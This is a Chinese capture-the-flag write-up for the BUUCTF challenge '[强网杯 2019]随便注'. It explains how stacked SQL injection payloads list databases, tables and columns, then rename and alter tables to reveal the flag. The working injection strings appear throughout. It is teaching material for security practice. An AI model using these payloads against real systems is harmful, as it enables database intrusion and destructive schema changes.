标签:Web Buuctf show id flag 2019 words 如下 payload
前言
刷题网址:https://buuoj.cn/challenges#[强网杯 2019]随便注
首先打开就是SQL注入,我们尝试一下,如下图,发现返回的是原始数据
然后我们输入1' or 1=1#
发现返回了所有数据,如下图
这里我们直接来使用联合注入尝试,发现order by 2
正常回显,但是order by 3
就报错
这里我们查询,发现过滤了很多关键字。
这里可以选择尝试堆叠注入,如下图,发现是可以进行堆叠注入的,并且把所有的数据库都爆出来了。
payload: 1';show databases;#
然后这里我们查表,发现有两个表,一个是纯数字表一个是words
表,如下图
payload: 1';show tables;#
我们查看数字表,如下图,发现flag在里面,然后反单引号(`)是数据库、表、索引、列和别名用的引用符,但是这里经过测试,如果是纯数字的表就需要加反单引号,如果不是就不需要加或者加上也无所谓。
payload: 1';show columns from `1919810931114514`;#
然后我们在查看words
表,如下图,看起来输入框里面默认查询的就是words
表了,因为上面查询数字表的时候只有一列,查询words表的时候有两列,那么如果是这样的话猜测一下查询语句应该是: select id,data from words where id =
。
payload: 1';show columns from words;#
如果是这样,而且还没有过滤rename
和alter
思路就来了,就是把words
表改成words1
或者其他名字,然后在把数字表名改成words
,然后在把新的words
里面的flag
修改成id
,然后在结合上面的1' or 1=1#
就可以查出flag了。
payload: 1';rename table words to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
如下图flag
标签:Web,Buuctf,show,id,flag,2019,words,如下,payload 来源: https://www.cnblogs.com/takagisan/p/16265960.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。